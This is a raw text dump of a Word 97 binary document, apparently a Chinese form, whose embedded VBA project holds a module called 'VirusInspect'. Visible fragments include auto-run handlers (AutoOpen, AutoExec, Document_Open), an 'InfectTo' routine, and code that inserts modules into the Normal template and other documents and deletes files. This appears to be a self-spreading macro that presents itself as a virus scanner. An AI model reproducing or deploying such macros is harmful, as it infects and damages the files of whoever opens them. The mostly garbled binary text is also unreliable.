ࡱ> !@" Oh+'0d   , 8DLT\Դ˰˰걨dԴԴԴ Normal.dot ˰t4Microsoft Word 8.0@F#@u@# ՜.+,D՜.+,< hp|   3u Դ˰˰걨 Title 6> _PID_GUIDAN{08EACC2A-84F4-11D6-A2DF-00055D0B9964}S6 Dnz~z3ubh ~zNx0Wz : zR{vS z>k@b^\eg t^ g e t^ g e ёUSMONl^CQ҉R ~zN Ty0W@W_7bL^SN T T y .U pe ϑ(T Џ(uzvЏ(uzCQ/(T ^~zCQ Y l~zNXf,gh@bkXpencw[0[te ?aabbl_#NYYXbNtkXb 1uNtNkXQN NThO;N{ ~{z RHhNXT ~{z ~zUSMON ~{z NtN TyNtN~{z t^ g eNtN0W@W~RN5u݋N N 1u z R :g sQ kX Q6e0R3ubhegc6eN[zQSx[zegf,ghkXQN_ NN NNb;N{zR:gsQ NN1u~zbYuX[ ldkh:N8_*j_0 0WezR@\v6R guestguest  0FPq$$lִ3"m)-06          $$$  0FPdt"HJT^hr bPdt[$$lֈ3"m)6  $$ $$[$$lֈ3"m)6  [$$lֈ3"m)6  $$"HJT^j1$$l40h6  $[$$lֈ3"m)6  $$ ^hr0]$$l4ֈP h",6` `` $$ 8$$]$$l4ֈP h",6     PRbdfhjlnrvz|~   PRbdln|~at&$$l46  $$s$$l4ִP h6!%&(,6   s$$l4ִ:!L,06           [2@2cke$1$CJKHPJmH nHA@؞k=W[SOK"M<"P^  Unknownguest Administratorlijun[l"z =DHIMNRTXY]^abkyz [2@2cke$1$CJKHPJmH nHA@؞k=W[SOK"!KP^   =DHIMNRTXY]^abktuxAEot{~M yz#%)*./3489@AEFKMT_jot{~JMguestD:\nbcs\[l"zh!-!),.:;?]}    & 6"0000 0 0 00000 =@\]^([{  0 0 00000;[nirdDnz~z3ubh[l"zM $Rbjbj'2'2$EXEXK] Lj$B>K>FTJ2@#F8Root Entry 2 F@#B1Table&):;<@)EWordDocumentA9$SummaryInformation(-4 5 ?$%h[1CDE#ij0 00000;[niRDnz~z3ubhguestguest ՜.+,D՜.+,< hp|   3u Դ˰˰걨 Title 6> _PID_GUIDAN{08EACC2A-84F4-11D6-A2DF-00055D0B9964} Oh+'0d   , 8DLT\Դ˰˰걨dԴԴԴ Normal.dot ˰t4Microsoft Word 8.0@F#@u@#[DR $D:\MICROSOFT OFFICE\OFFICE\MSO97.DLLOffice Yk F] dD |il] d FDocument @  !#$%&'(),1/0\[i]^ghjRoot Entry 2 F ŕ.1Table&):;<@EWordDocumentA99"SummaryInformation(DocumentSummaryInformation83.17 SF2.17 S" E<] dD |il] dxdZX] d] d4(S"SS"6"(1normal.ThisDocumentS=$*\Rffff*5d3d129c05 (4B$H` $MS $rm $0h@0MExAttribute VB_Name = "ThisDocument" Bas1normal.VCreatabl`False PredeclaIdxTru "ExposeTemplate Deriv$CustomizcrU (A 4iacrU @pDz0* pHdProjectQ(@= l S= J< rstdole>stdoleP f%\*\G{00 Oh+'0d   , 8DLT\Դ˰˰걨dԴguestues Normal.dotguest.d3esMicrosoft Word 8.0@@u@[T ՜.+,D՜.+,< hp|   3uR Դ˰˰걨 Title 6> _PID_GUIDAN{08EACC2A-84F4-11D6-A2DF-00055D0B9964}(,~<"CJPJ CJPJo(PJPJo(@CJPJo( @CJPJ @CJPJ @CJ PJ7&P 182P0A .!"#n$n%S N [2@2cke$1$CJKHPJmH nHA@؞k=W[SOK"M<"P^  Unknownguest Administrator =DHIMNRTXY]^abktuxot{~M yz#%)*./3489@AEFKMT_jot{~JMguestD:\nbcs\[l"zh2l\FfRoot Entry 2 Fl\B1Table&):;<@EWordDocumentA9;$SummaryInformation(-4 5[<?1FCDEAGhijDocumentSummaryInformation83.17 SF2.17 S% 0Table   !"#$&'()*+,./0123E0 00000;[niRDnz~z3ubhguestguest ՜.+,D՜.+,< hp|   3u [2@2cke$1$CJKHPJmH nHA@؞k=W[SOK"M<"P^  Unknownguest Administrator =DHIMNRTXY]^abktuxot{~M yz#%)*./3489@AEFKMT_jot{~JMguestD:\nbcs\[l"zh _PID_GUIDAN{08EACC2A-84F4-11D6-A2DF-00055D0B9964} Oh+'0d   , 8DLT\Դ˰˰걨dԴguestues Normal.dotguest.d3esMicrosoft Word 8.0@@u@[T[DR $D:\MICROSOFT OFFICE\OFFICE\MSO97.DLLOffice Yk F] dD |il] d FDocument @<@huTxlpPZ  " `!  \  `MAINANh HXHl Document)y VBProjectZ( VBProjectZ@ZXZpZ CodeModuleZ VBComponentsZZAn 2$0u0h( 2!l'lC '6 2!p.d d!r.j h j!6 h j%8!t.` `A^ h h j!6 h j%8!t.` Scanning In `!A@L  " ` AN @_ `A^ h_F 2A: prj.VBComponents(1).Activate  6 A@@ l 2Ava 2(l hxap l 2(l*hPhHl@Z@Document 2 z 2Ab@ 2 | 2Ab  ɱ δA@Laδֺ겡A@Lhh' lXXZZ $u0h( MsgBox "Init"oft Document_Close Document_Open AutoCloseAutoOpen Document_NewAutoExecAutoNewAutoExitD'" !! A~: vbArchive) !.f fA' A@@'$l Wu's SubAxlWu's SubAxlHWu's SubAxlWu's SubAxlWu's SubZ $5 !pA:Axh nl( A B@Blh 'f 'l( A@LlhZ0 2B@ B@ B@ z!<. B@ B@ 2B@B  B@u $ 9 9C@nlP Z Ƿ񽫴ļ  ɾ  .$'  d(a   uhhT A@ Killed!ALuTCan not kill file ALl Dim doc As DocumentZ( Z@ ZX Zp Z Z 2!' 2! A~ 2!' a  2B@hu4 TempName = " c:\~XXXX1234567ToBeDelted" & "TMP.dot" MsgBox "open temp". doc.SaveAs FileName:=TempName, fileformat:=1G doc.Close4G Kill TempNameK On Error GoTo NewDocErr/ Set doc = Documents.Add(Template:=TempName)K doc.SaveAs FileName:=NewNameu80(ʧܣA@l Dim pprj As Variant 'VBProjectZ  VBComponentZ8 ZP ZVersionh '.( j d!r . j!t!R  j!t%P j.(K&J?' j!t%Z'   \'4 4    4  $$'hshx jf` Z  VBProjectZ .'& d !!! d$'  &  '& (.h df !!A Installed .A@lh0 Z  VBComponent j 2!p!r j!  j.s h .f  Z(  VBProjectZ@ X  VBComponentZp Z Z VirusInspect 2!l'l .j 2!p$'  &LQEuP   Upgraded .ALa Installed .ALh A@A@A@k 2 $.  2!p!r%<.7vbext_ct_StdModule )  (h  !t!R !tBJ j!t!R j!t%Z !tB l 2! 2Bh l XAttribute VB_Name = "VirusInspect" ' 0or Version 8.2 OptExpl@icit Dim KillCount Asxteger 2 sAutos 6Varian9bInitedBoolean5Latest{Doubleg_VBCom#JHDetedLisNew 0Coll ConLogo%Sng}Wu's Macro |pFunc{2(doc@R)InziFi61 To  T.c If *. Item(i)) The *i Exit T End* Nex 0  Sub Set!Flag 9, ByVal f6j)dK;A: A7f/i < 1 (q.AddGE5Els@#A> 0Remove QKGA ABC rReg(WhilePm @;,1endZGBDelC`ode(cXst, nYLon&gG= + 1all cm.Lines( ShowStatus (" Frg " & @b& "to+ na""a U ~Si@EAqi 'AcmB|!Moduy#a'A7NotFind( , 1B`Of `B^@! 8 O n Err nGo7m@ R Proc "rta F'vbd_pk_Jn`k$MH pxIn!("1), "Wu",T` A@pare)n`Cg9c5C, * D~:M`D!-(/ĥ !2%7AiaEach "In ")7md,?s) aBMmd&MAIN"$ Am!") 'Document 'VB@?jCprjo# obC.*,jda1 'bOa ܡEon`s ! savl 5*S4= o."AHp@d #X1 =A.pu 'j7ۢr. = qj).Q1$W0$"jm(V"Scanni3QV14 Q?6$A04 i/0OdO !5, Tru:e`'Aj(1).AАvsQ%Q;RRPqxu#a% afeS-Dq1)9P#FaV0}If#Xy FE+!GAll:DG !# bL`aoTemplAofJ9,ɱRδ δֺa= TbY*qKAQUXq`$m&كt"'MsgBox " X= Ar(rayoc_CPlose}"_POpen_S"!HFExec   1 ?t% InfprTo(0%\!?u=wEU( ! 4?o!?lĺ;7?o??ub( //!CF Ï,t@" With Dialogs(wdA,.5N-Ced"\Ye[, Q e) Call DetectAllEnd If With$Sub  DocClose(On Error GoTo normaInfTo(@Activeju0menthL:  =Skip -.iw0 FunWon MsgMode(s As Variad Int0eger" = msoBoonButtonYesn'qShowStatus(@ByVal .S`tring` B|ar(JHLes, Option),For ce7YBoolean+FalsчF 65Copbydoc~, NewNameŁ SZDim W | .^ateCSel@o*.Wh$StoryMt=Bzs.Add#PasA"| SaveChanges:=C promptJ;(AkExit L @ Dialo gs(wdCFileC.BS=8SA.f ftlwd@rmat V.n TKillA(PathlrA@,Box("Ƿļ" & & " ɾ", vbNoCancel, Logo5If ( vb) Then PdyNo+ Ba7@C " d"^#ed!"7@ $:M" t k - a6##%lSaf"?(PA/ '@Ahh %e, Is =hw!H1iHEN+ G(l'`8'#0vR d !nH "ʧܣ 4(yGetVer(prj!+5Doubl0( '1p  'VB0Proj@hS2VB8Compon@$er71I8i2Const Tagg" sn 00#g__othEach ѓIn .`z.B.Code@ule.Find(QX, 1"CountOfL9s +R)V  b2ݧ .&-%o= b ( $Fi0InPm,QDTFar5e1i > 0#F `(Right(Len) - i0ٰ)) @N@,qB P W-G L@6st()%-(- -eaE0N&w0@0''This?.Applica(E0$)3@8BB*> pd"? t(@ Sub setupg NUMXI0=Ped}5b 0vF06d9|~, zm#!hHp AjLPKr"Mes V>^+e0x$u  `Y[, bjp )Z*/sPd1ϡc SZmodnŹ"Viruspagg sC[`5 !40jC CaseIs >=1: S%NJ,pq/MH"Upgraded tq+110KCg"6/$"BeeH Beep End Select4Set ObjCom = FoundMod(doc, modname)XIf (XIs Nothing) ThenH.VBProj gponents.Add(1) 'vbext_ct_St{ule so|.NmIBfCallh.0Codef(.DteLines((1,C}tOf>'Insert'VBk 7 3 + 1)6 savedOn Error Resume NqFSAs.Full#C SubACionZ` WholeStory`Copyƿ`Paste` SaveChangest`promptm`SaveAsf;`wdDialogFileSaveAsN` fileformat`wdFormatDocument`KillFileű`Path2`ri`MsgBoxR` vbYesNoCancelq`vbCancel'`vbNo%`Kill`TempName! `nextline` vbArchive y`IsTemp;` SaveFormat`ErrSave7` NewDocErr.T`GetVerB`VerStr#`Tag&`NoVerO`Val`Right ` GetLatest`Verw`VBE` VBProjects'`setup`FoundModz`ObjCom%`modname:p`Beep` InsertLines`l   $020430-C 0046}#2.0#0#C:\WINDOWS\SYSTEM\STDOLE2.TLB# Automation ^mMSFo@rms> MSFErm@s/z pF85233722-264A-11D4-A2DFF4AC6CE3ACF3.TWD#MicrosPoft = ` Ob Libr8ary9P0rP95306EE3-2824Pc:\wi@ndows\JP \VBE\(EX(.E .`M Cxn@UalCxnTax +2 ,CN 6;+OfficDO@fiTcBxG{a8D04C-5BFf01B-BDE5fAA@ 42fD:\MICROSOFT OFFICE\MSO97.D LLg 8.0EhZ³ThisDocumentN2-Th2sD@FcuQenHB1B,B,BX"B+BCVirusInspC+ICVr@sI@sp`)cF{!bK)^ *\CNormalrU~~~~~~~~j ] d    ] dq1 ThisDocumentProjectF=C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\VBA\VBA332.DLLVBA  9P F &D:\Microsoft Office\Office\MSWORD8.OLBWord )Q`0FC:\WINDOWS\SYSTEM\STDOLE2.TLBstdole Ap"7#J&la^ *\G{000204EF-0000-0000-C000-000000000046}#3.0#9#C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\VBA\VBA332.DLL#Visual Basic For Applications*\G{00020905-0000-0000-C000-000000000046}#8.0#0#D:\Microsoft Office\Office\MSWORD8.OLB#Microsoft Word 8.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\SYSTEM\STDOLE2.TLB#OLE Automation*\G{85233722-264A-11D4-A2DF-0004AC6CE3AC}#2.0#0#C:\WINDOWS\SYSTEM\MSForms.TWD#Microsoft Forms 2.0 Object Library*\G{95306EE3-2824-11D4-A2DF-0004AC6CE3AC}#2.0#0#c:\windows\TEMP\VBE\MSForms.EXD#Microsoft Forms 2.0 Object Library.E .`M *\CNormal*\CNormal6;+*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.0#0#D:\MICROSOFT OFFICE\OFFICE\MSO97.DLL#Microsoft Office 8.0 Object LibraryS=ZThisDocument 5d3d129c05*DXVirusInspect 5e3d12ab52*D=8] d)] dH 7RfV FormatNameWordk`VBA`Win16~`Win32`Mac`1p`stdole``MSFormsC` ThisDocument<` _Evaluate`normal`Officeu`Project-`Documentj`Module1b` VirusInspect` KillCount ` sAutoNamesG`bInited$}` LatestVerS`g_VBComu` DetectedList` CollectionW`Logo`Detecteds^`doc`i``count0v`Itemz`SetDetectedFlag۵`Addr`Removeϱ`ClearReg` DeleteCode$k`cm\`st(_`ne` DeleteLines ` ShowStatus`KillSubm`Findn` CountOfLines!\`Erro` ProcStartLine$`ProcCountLines`Lines` vbTextCompare Q` KillAutoMod`md:^` KillVirusR`prj:`obj`ja`VBCom`savedd`Init\[` VBProjectOh` VBComponents '` CodeModule`SafeSave` DetectAllx` Documents` Templatesh`SetAttrC` Application*`NormalTemplateq`FullNameО`InfectToL`AutoExec`AutoExit`AutoOpen*`AutoNew\3`FileOpen `Dialogs`wdDialogFileOpen`Show`ActiveDocument\`DocClose=`Skip`MsgModeo`sj`msoBalloonButtonYes` StatusBarʜ` MsgModeLessz` ForceShow `CopyTo[`NewName#`NewDoc+`Activate|` SelectC:\WINDOWS\SYSTEM\MSForms.TWDMSForms 1y.E .`M n0$(lc:\windows\TEMP\VBE\MSForms.EXD 9yL-[DR $D:\MICROSOFT OFFICE\OFFICE\MSO97.DLLOffice Yk F] dD |il] d FDocument @Module1 VirusInspectzrU~}  ipThisDocumentThisDocumentVirusInspectVirusInspectID="{08EACC2B-84F4-11D6-A2DF-00055D0B9964}" Document=ThisDocument/&H00000000 Module=VirusInspect Name="Project" HelpContextID="0" CMG="BEBC615DE1E5A3E9A3E9A3E9A3E9" DPB="84865BA3E768E868CompObjDfE868" GC="4A4895E15AE25AE2A5" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisDocument=0, 0, 0, 0, C VirusInspect=176, 176, 760, 683,   FMicrosoft Word ĵ MSWordDocWord.Document.89q